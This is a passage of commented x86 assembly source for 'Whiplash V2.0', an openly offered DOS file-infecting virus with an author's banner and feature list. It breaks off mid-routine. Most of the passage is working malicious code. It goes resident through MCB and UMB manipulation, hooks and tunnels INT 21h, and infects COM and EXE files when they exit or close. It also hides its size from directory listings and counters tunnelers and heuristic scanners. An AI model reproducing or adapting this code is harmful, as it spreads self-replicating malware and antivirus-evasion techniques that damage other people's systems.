; Ŀ
;      Following you have the original article, spell checked, arranged   
;      and... with God's help, bug checked...                             
;                                                                         
;                                      Lord Julus - Feb. 1999             
; 

Comment $
 
  THIS SOURCE IS PROVIDED FOR VIRUS RESEARCH ONLY ! THE AUTHOR WILL  ۲
  NOT BE RESPONSIBLE FOR ANY MISSUSE OF THIS SOURCE OR FOR ANY KIND  ۲
  OF MODIFICATIONS BROUGHT BY SOMEBODY ELSE !                        ۲
 

                         _-.                       .-_
                     _..-'(                       )`-.._
                  ./'. '||\\.       (\_/)       .//||` .`\.
               ./'.|'.'||||\\|..    )*.*(    ..|//||||`.`|.`\.
            ./'..|'.|| |||||\```````  "  '''''''/||||| ||.`|..`\.
          ./'.||'.|||| ||||||||||||.     .|||||||||||| ||||.`||.`\.
         /'|||'.|||||| ||||||||||||{     }|||||||||||| ||||||.`|||`\
        '.|||'.||||||| ||||||||||||{     }|||||||||||| |||||||.`|||.`
       '.||| ||||||||| |/'   ``\||/`     '\||/''   `\| ||||||||| |||.`
       |/' \./'     `\./          |/\   /\|          \./'     `\./ `\|
       V    V         V          }' `\ /' `{          V         V    V
       `    `         `               U               '         '


  Ŀ
                                                                          
                           W H I P L A S H  ][                            
                                                  
                                                                          
       "In the the year of 1997, the Gods sought to test our steel...     
          Struck down by deceivers whilst our backs were turned,          
         we were left for Dead. But in the wake of confusion the          
         fallen and the faithful did band together, to heal even          
        stronger than before. This was seen by the Gods. For  the         
         prophecy of the Sacred King shall be fulfilled. We have          
             risen up anew to drink the wine of vindication ! "           
                                                                          
                                                                          
                                                                          
        Yes, boys and girls ! Yet another one from me ! this Time I       
        choosed to call this baby Whiplash V2.0 Variant A. I will         
        explain right away why:                                           
                                                                          
            = Whiplash 1 sucked, but it was my first public source and    
              I had some pretty neat ideea, therefore...                  
            = First of all the strategy of the virus is changed. In fact  
              there's almost nothing left as in Whiplash 1. Now it        
              infects on EXIT/CLOSING and disinfects on EXEC/OPEN.        
            = Stealth on 11h/12h/4Eh/4Fh ( amazing, huh ? ;-) )           
            = Strange way to perform resident check                       
            = Even stranger way to mark the Time stamp: The infected      
              files will have the second = (day+month) Div 2, plus a      
              marker in the file to avoid coincidences                    
            = It uses SFT's to fasten up the process                      
            = Traces Int 21h                                              
            = It's not destructive, it just has an annoying payload       
            = A pretty neat decryptor using an Int to simulate a Loop     
            = It avoids infecting some AV's and also it does not          
              DISINFECT infected files if the current process is an       
              archiver.                                                   
            = Directory Stealth is removed if disk utils are running      
                                                                          
    I don't know where did you get this, but keep this in mind:           
                                                                          
              - This Beta version is not tested in all circumstances      
              - There is a bug not solved (infected EXE files hang after  
                execution if the virus is not resident)                   
              - There are almost no armours whatsoever                    
              - There's no random involved in the encryption              
                                                                          
    What you will have in the final version:                              
                                                                          
             + Retunnel if tunneled using Int 08                          
             + Memory encryption                                          
             + Random encryption                                          
             + Bug free (with God's help)                                 
             + Optimized code                                             
             + Many anti AV-tricks I already have in mind                 
                                                                          
    And some final words:                                                 
                                                                          
             It's still Variant A because I save B for the polymorphic   
              version and C for the multipartite one.                     
                                                                          
             And last, I am sick and tired to write this stuff so just   
              go along and check out the source. It's fully commented.    
                                                                          
                                                                          
      Enjoy this source !                                                 
                                                     Lord Julus  -  1997  
  
       $

; Assemble with TASM 3.2 /m3 /o /zi and
; link with TLINK 5.1 /t /x (from Borland Pascal 7.0 Kit)

; May the soul of whom uses MASM not rest in peace and wander forever...

Dosseg                                  ; the usual stuff
.286
.model Tiny
.Code
.radix 16

Org 100h

jumps                                   ; take care of those jumps !

START:

       Call GET_BP
DELTA:                                  ; here is the delta offset
       Jc JUMP_YEAH                     ; this is another tricky jump

GET_BP:                                 ; here I get the Delta handler
       Mov ax, sp                       ; push the sp on the stack
       Push ax                          ;
       Pop si                           ; and take it in SI
       Mov bx, ss:[si]                  ; then get the current offset in BX
       Mov dx, Offset DELTA             ; and get DELTA address in DX
       Sub bx, dx                       ; substract so we have alignement
       Stc                              ; set carry for tricky jump
       Retn                             ; and return to CALL

JUMP_YEAH:
       Clc
       Jmp OVER

TRICKY_ENTRY:                           ; This is the CS:IP in infected host
       Clc                              ; this tricky entry is good against
       Jnc START                        ; stupid heuristic scaners

OVER:
       Mov bp, bx                       ; now I save the delta
       Cmp bp, 0                        ; and look if it's first run
       Je START_VIRUS                   ; if so, run,
       Call DECRYPT_ME                  ; if not -> decrypt it

; The next line is unremovable. Check out the first lines of the payload
; routine.

PINT:  Mov word ptr cs:[bp + PATCH], 04CB4H   ; this patch
PATCH:
       Jmp START_VIRUS                        ; will turn this to mov ah,4ch
       Int 21h                                ;

START_VIRUS:

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
; Here starts the code that stays encrypted into the hosts                   ;
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;

STARTCODE:

       Jmp OVERMARKER

Marker1 Db 'WHIPLASH V.2.0 Beta release Variant A'
Marker2 Db 'Written and compiled in Bucharest, Romania by Lord Julus'

;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
; Here we have the DATA AREA                                                 ;
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;

virlen = ENDING - START                        ; virus length                              ; Virus length
virus_size = ((2*virlen+50+15)+256)/16         ; memory needed for virus

Oldint01        Dd      0                      ; Old address for Int 01h
Tunint21        Dd      0                      ; Tunelled Int 21h
Oldint21        Dd      0                      ; Old Int 21h vector
Oldint15        Dd      0                      ; Old INT 15h handler

M_strategy      Dw      0                      ; Memory strategy
Umb_strategy    Db      0                      ; Upper Memory Block strategy
Xms_offset      Dw      0                      ; Offset for XMS manager
Xms_segment     Dw      0                      ; Segment for XMS manager

A_s             Db      0                      ; Current status of allocation
Oldpsp          Dw      0                      ; My PSP

Errorh          Dd      0                      ; INT 24h handler
Attrib          Dw      0                      ; Attributes
Time            Dw      0                      ; Time
Date            Dw      0                      ; Date
Handle          Dw      0                      ; File handle
Jump            Db      0E9h                   ; Jmp OpCode
Hostlen         Dw      0                      ; Length of COM host
Address         Dw      0                      ;
Jmpsave         Dd      0                      ; original CS:IP of EXE host
Stacksave       Dd      0                      ; original SS:SP of EXE host
Filesize        Dd      0                      ; filesize of EXE host
Flag1           Db      0                      ; Error flag

Olddate         Dw      0               ; useful when I restore the file
Oldtime         Dw      0               ; on disinfection and unmark it !

Endfile Db 128 Dup (0),0    ; I need this to create the name of the file
                            ; that finishes execution
File Db 125 Dup (0)         ; again an address where I'll create a file name

Compare_buf     Db      46h Dup (0FFh)  ; I use this to compare the file
                Db      0FFh,0FFh       ; header to check for infection

Buffer          Db      0FFh,0FFh       ; 0 (0)  EXE file signature
                Db      0FFh,0FFh       ; 2 (2)  Length of file
                Db      0FFh,0FFh       ; 4 (4)  Size of file + header (512k)
                Db      0FFh,0FFh       ; 6 (6)  No. of relocation items
                Db      0FFh,0FFh       ; 8 (8)  Size of header (16byte para)
                Db      0FFh,0FFh       ; A (10) Min para needed (16byte)
                Db      0FFh,0FFh       ; C (12) Max para needed (16byte)
                Db      0FFh,0FFh       ; E (14) SS reg from start in para.
                Db      0FFh,0FFh       ; 10(16) SP reg at entry
                Db      0FFh,0FFh       ; 12(18) checksum
                Db      0FFh,0FFh       ; 14(20) IP reg at entry
                Db      0FFh,0FFh       ; 16(22) CS reg from start in para.
                Db      0FFh,0FFh       ; 18(24) Table offset
                Db      0FFh,0FFh       ; 1A(26) Overlay
                Db      0FFh,0FFh       ; 1C(28) Header stuff (LO)
                Db      0FFh,0FFh       ; 1E(30) Header stuff (HI)
                Db      0FFh,0FFh       ; 20(32) ...Now a bunch of crap
                Db      0FFh,0FFh       ; 22(34)
                Db      0FFh,0FFh       ; 24(36)
                Db      0FFh,0FFh       ; 26(38)
                Db      0FFh,0FFh       ; 28(32)
                Db      0FFh,0FFh       ; 2A(34)
                Db      0FFh,0FFh       ; 2C(36)
                Db      0FFh,0FFh       ; 2E(38)
                Db      0FFh,0FFh       ; 30(32)
                Db      0FFh,0FFh       ; 32(34)
                Db      0FFh,0FFh       ; 34(36)
                Db      0FFh,0FFh       ; 36(38)
                Db      0FFh,0FFh       ; 38(32)
                Db      0FFh,0FFh       ; 3A(34)
                Db      0FFh,0FFh       ; 3C(36)
                Db      0FFh,0FFh       ; 3E(38)
                Db      0FFh,0FFh       ; 40(32)
                Db      0FFh,0FFh       ; 42(34) ...until here.
                Db      0FFh,0FFh       ; 44(36) Here's the New Exe marker
                Db      0FFh,0FFh       ; 46(38)

OVERMARKER:

        Call PAYLOAD            ; call to the graphical payload routine

        Push ds es di si        ; now save the important registers

        Mov ax,1686h            ; Do I have Dos Protected Mode ?
        Int 2Fh                 ;
        Or ax,ax                ; if so...
        Jz FUCK_OFF             ; ...no comment

        Mov ax, 5E00h           ; this is the `already resident' ?
        Mov bx, 2222h           ; check...
        Mov dx, 1111h           ; i.e. a combination that will never occur
        Int 21h
        Cmp si, 0F0FAh
        Je ALREADY_HERE

;
;                        Process to remain resident
;

; Thanks Neurobasher for all the ideas involving UMB residency !

        Push ds di si                        ; again save some registers

        Mov cs:[bp+Oldpsp], ds               ; save my PSP

        Xor ax, ax
        Mov ds, ax                           ; First get all the
        Mov di, ds:[0413h]                   ; RAM available in kB and
        Shl di, 6                            ; convert it into paragraphs

        Mov Byte Ptr cs:[bp+A_s], 0          ; set flag to NONE

        Mov ax, 5800h                        ; Get the Memory strategy
        Int 21h                              ; and save it
        Mov Word Ptr cs:[bp+M_strategy],ax   ; for later

        Mov ax, 5802h                        ; Chain UMBs
        Int 21h                              ;
        Mov Byte Ptr cs:[bp+Umb_strategy],al ; and save Umb_strategy

                                             ; Set New MCB Alloc. strategy
        Mov ax, 5801h                        ; 80h = First fit
        Mov bx, 81h                          ; 81h = Best fit (used here !)
        Int 21h                              ; 82h = Last Fit

        Mov ax, 5803h                        ; Set new UMB Link State
        Mov bx, 1                            ; and rechain UMBs
        Int 21h                              ;
        Jc  REQUEST_XMS_MEM                  ; and now request XMS

        Mov es, cs:[bp+Oldpsp]               ; Restore PSP and expand MCB
        Mov ah, 4Ah                          ; to maximum obtaining the total
        Mov bx, 0FFFFh                       ; available memory
        Int 21h

        Sub bx, virus_size + 1               ; Make MCB smaller
        Mov ah, 4Ah                          ; I just shrink to what I need
        Int 21h                              ; (substract virus_size + 1)

        Mov bx, virus_size                   ; Allocate memory for virus
        Mov ah, 48h
        Int 21h
        Mov es, ax                           ; ES =  new virus segment
        Jc REQUEST_XMS_MEM                   ; request XMS

        Cmp ax, di                           ; DI = conventional RAM
        Jae UMB_DONE                         ; jump if greater (all ok!!)

REQUEST_XMS_MEM:                             ; Takes UMB for the virus
        Mov ax, 4300h                        ; Checks if any XMS manager
        Int 2Fh                              ; is installed
        Cmp al, 80h                          ; 80h=Yes
        Jne NO_XMS                           ; otherwise go away !

        Mov ax, 4310h                        ; Find Himem-EntryPoint (ES:BX)
        Int 2Fh                              ; and save it
        Mov cs:[bp+Xms_offset ], bx
        Mov cs:[bp+Xms_segment], es

        Mov ah, 10h                          ; Call Himem and check if
        Mov dx, 0FFFFh                       ; there exist a free XMS block
        Call Dword Ptr cs:[bp+Xms_offset]    ; if BL = 0B0h then it's ok
        Cmp bl, 0B0h                         ; otherwise
        Jnz NO_XMS                           ; we have no free XMS block

        Mov ah, 10h
        Call Dword Ptr cs:[bp+Xms_offset]    ; Call to see if XMS is free
        Or ax, ax                            ; AX = 0 means 'Not free'
        Jz NO_XMS                            ; AX = 1 means 'Free'
        Mov es, bx                           ; ES = BX = Segment of Blocks

UMB_DONE:
        Mov Byte Ptr cs:[bp+A_s], 1          ; Mark UMB allocated

        Mov ax, es                           ; Marks virus as being owned
        Dec ax                               ; by the Operating System
        Mov ds, ax
        Xor si, si
        Mov Word Ptr ds:[si+1], 8            ; Mark as DOS's

        Mov ax, cs:[bp+Oldpsp]               ; Restore MCB into DS
        Dec ax
        Push ax

        Cmp Byte Ptr ds:[si], 'Z'            ; Is the virus the last MCB ?
        Pop ds                               ; Restore MCB
        Jnz LAST_MCB                         ; Jump if it's the last !

        Mov Byte Ptr ds:[si], 'Z'            ; Mark it as last otherwise
        Jmp Short DONEMCB                    ; and end process

LAST_MCB:
        Mov ax, ds:[3]                       ; Get memory from the last MCB !
        Add ax, virus_size + 1               ; by increasing with virus_size
        Mov ds:[3], ax                       ; and marking it

DONEMCB:
NO_XMS:
        Mov bx, Word Ptr cs:[bp+M_strategy]  ; Now restore mem. allocation
        Mov ax, 5801h                        ; strategy
        Int 21h                              ;

        Mov bl, Byte Ptr cs:[bp+Umb_strategy]; And the UMB link status
        Mov bh, 0                            ; as previously saved
        Mov ax, 5803h
        Int 21h

        Cmp Byte Ptr cs:[bp+A_s], 1          ; check if UMB is allocated
        Jz UMB_ALLOCATED                     ; and go away if so !

        Mov ds, cs:[bp+Oldpsp]               ; If not, get old PSP
        Push ds                              ;
        Pop es                               ;
        Mov ah, 4Ah                          ; and expand MCB to maximum
        Mov bx, -1
        Int 21h                              ; BX=FFFFh -> Expand MCB

        Xor si, si                           ; and use the old way
        Mov ax, virus_size                   ; of shrinking to obtain
        Sub ds:[si+2], ax                    ; the proper size for the
        Sub bx, ax                           ; resident part
        Mov ah, 4Ah
        Int 21h

        Mov ax, ds                           ; DS=PSP
        Add ax, bx                           ; BX=MCB for Virus

        Mov es, ax
        Mov Word Ptr es:[1], -1

        Inc ax                               ; AX = PSP for virus
        Mov es, ax                           ; ES = PSP for virus

        Mov ax, ds                           ; Mark the current MCB as last
        Dec ax                               ; in the MCB-Chain
        Mov ds, ax
        Mov Byte Ptr ds:[si], 'Z'

UMB_ALLOCATED:
        Push cs                              ; Copy virus to memory
        Pop  ds                              ;
        Lea  si, [bp+START]                  ; DS:SI = source address
        Mov  di, Offset START                ; ES:DI = destination address
        Mov  cx, virlen
        Cld
        Repz Movsb

        Pop si di ds                         ; Restore registers

;
;                 End of the "REMAIN RESIDENT" process
;

;=============================================================================
; And from this moment, ES = the new segment where virus is resident
;=============================================================================

       Call TUNNEL          ; A call to the tunneling routine
       Call HOOK            ; A call to the hooking routine
       Call TRANSFER        ; A call to the routine to transfer addresses
       Jmp FUCK_OFF         ; This is the exit

;[===========================================================================]
;[   This routine tunneles thru INT 21h and saves the addresses              ]
;[===========================================================================]
TUNNEL:
       Pusha                         ; save again...
       Push ds es si di bp

       Xor ax, ax                                ; make DS = 0000
       Mov ds, ax
       Mov ax, Word Ptr ds:[4]                   ; and get Int01 offset
       Mov Word Ptr cs:[bp + Oldint01], ax       ; and save it,
       Mov ax, Word Ptr ds:[6]                   ; as well as the segment
       Mov Word Ptr cs:[bp + Oldint01+2], ax     ; save it too.

       Xor ax, ax
       Mov ds, ax
       Cli
       Lea ax, [bp + Offset INT01]            ; get my Int01 offset and
       Mov Word Ptr ds:[4], ax                ; put it in the int's table
       Mov Word Ptr ds:[6], cs                ; together with the CS
       Sti                                    ;

       Call DO_THE_TUNNEL                        ; this is the call to tunnel

       Xor ax, ax                                ; now I have to restore
       Mov ds, ax                                ; INT 01 vector
       Cli
       Mov ax, Word Ptr cs:[bp + Oldint01]       ; from where I saved it
       Mov Word Ptr ds:[4], ax
       Mov ax, Word Ptr cs:[bp + Oldint01+2]
       Mov Word Ptr ds:[6], ax
       Sti                                       ; and restore interrupts

       Pop bp di si es ds                        ; and restore crap...
       Popa
       Ret                                       ; Return from the tunneler


DO_THE_TUNNEL:                                   ; the real tunneler
       Xor ax, ax                                ; DS = 0000
       Mov ds, ax
       Mov ax, Word Ptr ds:[21h*4]               ; and get Int01 offset
       Mov Word Ptr cs:[bp + Tunint21], ax       ; and save it,
       Mov ax, Word Ptr ds:[21h*4+2]             ; as well as the segment
       Mov Word Ptr cs:[bp + Tunint21+2], ax     ; save it too.


       Pushf                                  ; save real flags
       Pushf                                  ; save flags to get them in AX
       Pop ax                                 ; (same as LAHF)
       Or ah, 1                               ; set trace flag on
       Push ax                                ; push ax
       Popf                                   ; and get flags with TF set
       Mov ah, 019h                           ; random DOS call
       Pushf
       Call Dword Ptr ds:[(021h*4)]           ; Simulate interrupt call

       Popf                                   ; restore real flags
       Ret                                    ; ...and over.

INT01:                                        ; This is INT 01 handler
       Push di                                ; save DI
       Mov di, sp                             ; and make it point the stack
       Push ax

       Mov ax, ss:[di+4]                      ; and take CS off the stack
       Cmp ax, Word Ptr cs:[bp+Tunint21+2]
       Jae NOT_YET
       Mov Word Ptr cs:[bp + Tunint21+2], ax  ; here I save CS
       Mov ax, Word Ptr ss:[di+2]             ; here I get IP
       Mov Word Ptr cs:[bp + Tunint21], ax    ; and I save IP

NOT_YET:
       Pop ax
       Pop di
       Iret

;[========================= End of tunneling routine ========================]

;[===========================================================================]
;[  This routine hooks the interrupts                                        ]
;[===========================================================================]

HOOK:
       Pusha
       Push es ds

       Cli
       Xor ax,ax                              ; now hook the int 21h
       Mov ds,ax                              ; ds=0000
       Mov ax, Word Ptr ds:[21h*4]            ; get INT 21h address
       Mov Word Ptr es:[Oldint21], ax         ;
       Mov Word Ptr cs:[bp + Oldint21], ax    ;

       Mov ax, Word Ptr ds:[21h*4+2]          ;
       Mov Word Ptr es:[Oldint21+2], ax       ;
       Mov Word Ptr cs:[bp + Oldint21+2], ax  ;

       Lea ax, [bp + offset INT21H]           ; and set up new interrupt 21H
       sub ax, bp
       Mov bx,21h*4                           ;
       Mov Word Ptr ds:[bx],ax                ; the offset...
       Mov ax,es
       Mov Word Ptr ds:[bx+2],ax              ; and the segment = ES
       Sti

       Pop ds es
       Popa
       Ret

;[============ End of hooking routine =======================================]

;[===========================================================================]
;[  This routine transfers addresses from CS to ES                           ]
;[===========================================================================]

TRANSFER:
       Pusha
       Push ds es

       Cli
       Mov ax, Word Ptr cs:[bp+Tunint21]      ; now all I do is transfer
       Mov Word Ptr es:[Tunint21], ax         ; the data in the addresses
       Mov ax, Word Ptr cs:[bp+Tunint21+2]    ; stored in the current CS
       Mov Word Ptr es:[Tunint21+2], ax       ; to the ones in the ES,
       Sti                                    ; enable interrupts

       Pop es ds
       Popa
       Ret

;[=============== End of transfer routine ===================================]

ALREADY_HERE:
FUCK_OFF:
       Pop si di es ds                        ; now restore registers

;
;    Here I give back command to the host program
;

RUN_ORIGINAL:
       Mov di, Word Ptr cs:[bp + Offset Buffer]     ; is it an EXE file?
       Cmp di, 5A4Dh                                ;
       Je EXIT_EXE                                  ; It's an EXE file...
       Cmp di, 4D5Ah                                ;
       Je EXIT_EXE                                  ; It's an EXE file...

       Cmp bp, 0                           ; is this the first run?
       Jne COM_EXIT
       Mov ax, 4C00h
       call dos_int_21

COM_EXIT:
       Mov ax, Word Ptr cs:[bp+Buffer]     ; put back the 6 bytes I destroyed
       Mov Word Ptr cs:[100h], ax          ; in the com file
       Mov ax, Word Ptr cs:[bp+Buffer+2]   ; at address 100h,
       Mov Word Ptr cs:[102h], ax          ; at address 102h,
       Mov ax, Word Ptr cs:[bp+Buffer+4]
       Mov Word Ptr cs:[104h], ax          ; and at 104h

       Xor bx, bx                          ; now zero the registers
       Xor dx, dx
       Xor cx, cx
       Xor di, di
       Xor si, si
       Xor bp, bp
       Push cs
       Pop ds
       Push cs
       Pop es

       Mov ax, 0FFh
       Inc ax                              ; FFh + 1 = 100h
       Jmp ax                              ; and jump to 100h to execute it

EXIT_EXE:
       Mov ax, es                             ; Get the PSP,
       Add ax, 10h                            ; add 16
       Mov dx, ax                             ; and save it in DX
       Add ax, Word Ptr cs:[Jmpsave+2][bp]    ; Get ORIGINAL CS
       Add dx, Word Ptr cs:[Stacksave+2][bp]  ; Get ORIGINAL SS
       Mov bx, Word Ptr cs:[Jmpsave  ][bp]    ; Get ORIGINAL IP

       Mov Word Ptr cs:[JUMPNOW][bp], bx      ; Put IP
       Mov Word Ptr cs:[JUMPNOW+2][bp], ax    ; Put CS
       Mov ax, Word Ptr cs:[Stacksave][bp]    ; Get ORIGNAL SP
       Mov Word Ptr cs:[MAKESTACK1][bp], dx   ; Put SS
       Mov Word Ptr cs:[MAKESTACK2][bp], ax   ; Put SP
       Jmp $+2                                ; a delay
       Jmp $+2                                ; to settle things

       Db  0B8h               ; This is MOV AX,XXXX
MAKESTACK1:                   ; and XXXX = the value I inserted above into
       Dw      0              ; this line here.

       Cli                    ; Disable Interrupts
       Mov ss,ax              ; Restore now old SS register
       Db  0BCh               ; This is MOV SP,YYYY
MAKESTACK2:                   ; where YYYY is the value I inserted above into
       Dw 0                   ; this line here.

       Sti                    ; Enable Interrupts

       Xor ax, ax             ; zero the registers too
       Xor bx, bx
       Xor dx, dx
       Xor cx, cx
       Xor bp, bp
       Xor di, di
       Xor si, si

       Db 0EAh                ; This is a JMP AAAA:BBBB at original host
JUMPNOW:
       Dd      0              ; Here's where I insert the AAAA and BBBB
                              ; values (i.e. the host's original CS:IP)

;End of `Run original' routines

;
; This procedure calls the original Dos/Bios INT 21h
;

DOS_INT_21:
       Pushf                          ;here I invoke the
       Call Dword Ptr cs:[Tunint21]   ;original INT 21h (in the DOS seg.)
       Ret

;
;              HANDLER FOR THE INT 21H
;

INT21H:

     ;+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     ;+  Anti tracing / tunneling follows   +
     ;+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     Push ax bx si               ; preserve the registers

     Mov ax, 1111h
     Push ax                     ; put AX on stack
     Mov si, sp                  ; get Stack pointer into Si
     Pop ax                      ; take AX off the stack
     Mov bx, Word Ptr ss:[si]
     Cmp bx, ax                  ; and see if an INT occured.
     Jne FUCKING_TUNNELER        ; Someone's tunneling me !!

     Pop si bx ax

     ;+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
     ;+  The INT 21 checks begin here       +
     ;+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

        Cmp ax, 5E00h            ; here I look up for the resident check
        Jne NO_CHECK
        Cmp bx, 2222h
        Jne NO_CHECK
        Cmp dx, 1111h
        Jne NO_CHECK
        Mov si, 0F0FAh
        Iret

NO_CHECK:
        Cmp ah, 4Ch                  ; is it a DOS EXIT ?
        Je FILE_ENDING               ; then try to infect file on exit

        Cmp ah, 4Bh                  ; is a file about to be executed ?
        Je EXEC_FILE                 ; try to disinfect it first

; On some Versions of Windows 95 the next 2 lines may hang the computer.
; If so, remove them, but virus' strenght will decrease ! I have no ideea
; why this happenes ! I think it's just Microsoft which sux !

;        Cmp ah, 3Dh                  ; a file is to be opened using handler ?
;        Je OPEN_FILE_HANDLER         ; try to disinfect it first

        Cmp ah, 6Ch                  ; a file is to be opened using the
        Je OPEN_FILE_EXTENDED        ; extend open ? -> disinfect !

        Cmp ah, 3Eh                  ; is a file about to be closed, using
        Je CLOSE_FILE_HANDLER        ; handler ? If so, check it and infect !

        Cmp ah, 31h                  ; going resident ?
        Je FILE_GOING_RESIDENT       ; infect before, please !

        cmp ah, 11h                  ; these handle the dir stealth
        je hideme1                   ; using the FCB method
        cmp ah, 12h
        je hideme1

        cmp ah, 4eh                  ; and these handle the dir stealth
        je hideme2                   ; using the FIND FIRST / NEXT
        cmp ah, 4fh                  ; method
        je hideme2


INT21ORIG:
       Jmp Dword Ptr cs:[Oldint21]    ; jmp to original int 21h
       Ret                            ; (the one in the chain, not tunneled)

FUCKING_TUNNELER:                     ; here I'll try to mess up the
                                      ; tunneler
       Pop si bx ax
       Mov ax, 3                      ; by trying to set an error
       Stc
       Iret

;
;              DIRECTORY STEALTH ROUTINES
;
HIDEME1:
       Pushf
       Call Dword Ptr cs:[Oldint21]          ;get dir entry
       Test al,al                            ;now test
       Js DIR_STEALTH_DONE                   ;no need !

       Push ax bx cx dx es                   ;save registers
       Mov ah,2Fh                            ;get DTA
       Int 21h

       Cmp Byte Ptr es:[bx],-1               ; check for extended FCB
       Jne NO_EXT_FCB                        ; no case!
       Add bx,7                              ; add if it is extended FCB
NO_EXT_FCB:
       Mov cx, es:[bx + 16h]                 ; get time
       Mov dx, es:[bx + 14h]                 ; get date
       Call CHECK_STAMP                      ; check the stamp formula
       Jc DIR_FIXED                          ; not infected !

       Mov ax, (Offset ENDING - Offset START)  ;check if it's not just
       Cmp ax, Word Ptr es:[bx + 1Dh]          ;a coincidence...
       Jg DIR_FIXED
                                               ;substr. size of my vir.

       Sub Word Ptr es:[bx + 1Dh], (Offset ENDING - Offset START)
       Sbb Word Ptr es:[bx + 1Fh], 0
DIR_FIXED:
       Pop es dx cx bx ax                      ;restore
DIR_STEALTH_DONE:
       Iret

HIDEME2:                                       ;this is much like Hideme1
       Pushf
       Call Dword Ptr cs:[Oldint21]
       Jc DIR_STEALTH_DONE_2

CHECK_INFECT2:
       Push ax bx cx dx es

       Mov ah, 2Fh                             ; get DTA
       Int 21h
       Mov cx, es:[bx + 16h]                   ; and check the stamp
       Mov dx, es:[bx + 18h]
       Call CHECK_STAMP
       Jc FIXED_2

       Mov ax, (Offset ENDING - Offset START)
       Cmp ax, es:[bx + 1Ah]
       Jg FIXED_2
       Sub es:[bx + 1Ah], (Offset ENDING - Offset START)
       Sbb Word Ptr es:[bx + 1Ch],0

FIXED_2:
       Pop es dx cx bx ax
       Clc                             ; clear carry
DIR_STEALTH_DONE_2:
       Retf 2


;.---------------------------------------------------------------------------.
;|     In this area I handle the file exits (4Ch / 31h)                      |
;`---------------------------------------------------------------------------'

;
; Handles exit via 4Ch and infects the program that exits to DOS
;
FILE_ENDING:
       Pusha
       Push ds es di si bp

       Call GETNAME             ; get the name of the current process
       Jc ERROR_1               ; error !
       Call CHECKNAME           ; check if name is OK (EXE/COM)
       Jnc ERROR_1              ; if not, exit !
       Call checkfile           ; check the name now
       jc error_1

       Mov ax, 3D02h            ; now open the file
       Call DOS_INT_21          ; (always using the tunneled INT 21h)
       Jc ERROR_1

       Mov bx, ax               ; save it's handle
       Call INFECT_CLOSING      ; and call the infection procedure

       Mov ah, 3Eh              ; and then close the file
       Call DOS_INT_21

ERROR_1:
       Pop bp si di es ds
       Popa
       Jmp INT21ORIG

;
; Handles exit via 31h (TSR) and infects the program that goes resident
;
FILE_GOING_RESIDENT:
       Pusha
       Push ds es di si bp

       Call GETNAME             ; get the name of the current process
       Jc ERROR_2               ; error !
       Call CHECKNAME           ; check if name is OK
       Jnc ERROR_2              ; if not exit !
       Call checkfile           ; check the name now
       jc error_1

       Mov ax, 3D02h            ; now open the file
       Call DOS_INT_21
       Jc ERROR_2

       Mov bx, ax               ; save it's handle
       Call INFECT_CLOSING      ; and call the infection procedure

       Mov ah, 3Eh              ; and then close the file
       Call DOS_INT_21
       Jc ERROR_2

ERROR_2:
       Pop bp si di es ds
       Popa
       Jmp INT21ORIG

;.---------------------------------------------------------------------------.
;|     In this area I handle the file execution                              |
;`---------------------------------------------------------------------------'

;
; Handles opened files via Int 21h / 4Bh
;
EXEC_FILE:
       Pusha
       Push ds es di si bp

       Call DISINFECT           ; simply disinfect the file

       Pop bp si di es ds
       Popa
       Jmp INT21ORIG            ; and run it uninfected !

;.---------------------------------------------------------------------------.
;|     In this area I handle the file closings                               |
;`---------------------------------------------------------------------------'

;
; Handles closing files via Int 21h / 3Eh
;
CLOSE_FILE_HANDLER:

       Cmp bx,4h                           ; file handler > 4?
       Ja CLOSE_CONT                       ; jmp if above (means it's a file)
       Jmp INT21ORIG                       ; else exit

CLOSE_CONT:
       Pusha
       Push si di es ds

       Push bx                             ; save file handler for later
       Mov ax,1220h                        ; get job file table! (JFT)
       Int 2Fh                             ; call multiplex
                                           ; es:di=JFT for handler
       Mov ax,1216h                        ; get system file table
       Mov bl,Byte Ptr es:[di]             ; bl=SFT entry
       Int 2Fh                             ; call multiplex
       Pop bx                              ; restore file handler

       Add di, 02h                         ; set file to
       Mov Word Ptr es:[di], 0002          ; read/write

       Add di, 02h                         ; reset file attributes
       Mov Byte Ptr es:[di], 0
       Sub di, 04h

       Add di, 0Dh                         ; unmask seconds
       Mov dx, Word Ptr es:[di]
       Mov Word Ptr cs:[Time], dx          ; save seconds

       Add di, 2                           ; unmask day
       Mov cx, Word Ptr es:[di]
       Mov Word Ptr cs:[Date], cx          ; save day

       Sub di, 0Fh                         ; now make DI point
       Add di, 20h                         ; to the filename
       Add di, 8

       Cmp Word Ptr es:[di], 'OC'          ; check if it's a COM
       Jne TRY_AGAIN
       Cmp Byte Ptr es:[di+2], 'M'
       Je  GOOD_FILE1

TRY_AGAIN:
       Cmp Word Ptr es:[di], 'XE'          ; or an EXE ?
       Jne CLOSING_INFECTION_ERROR
       Cmp Byte Ptr es:[di+2], 'E'
       Jne  CLOSING_INFECTION_ERROR
       Jmp GOOD_FILE1

GOOD_FILE1:
       Pusha
       Push    si di es ds

       Sub di, 8                     ; now I'm about to extract the filename
       Mov si, di
       Lea di, File                  ; into the `file' address
       Mov cx, 8                     ; max. 8 chars
LOOP_1:
       Cmp Byte Ptr es:[si],' '      ; check if i'm over
       Je OVER1
       Mov ah, Byte Ptr es:[si]      ; else get a byte
       Mov Byte Ptr cs:[di], ah      ; and put a byte
       Inc si
       Inc di
       Loop LOOP_1
OVER1:
       Mov Byte Ptr cs:[di],'.'      ; put the name/extension separator
       Inc di
       Inc si
       Mov cx, 8                     ; and start taking out the extension
LOOP_3:
       Cmp Byte Ptr es:[si],' '      ; increment SI
       Jne OK_2                      ; until no more spaces found
       Inc si
       Loop LOOP_3
OK_2:
       Mov cx, 3                     ; now SI points to extension
LOOP_2:
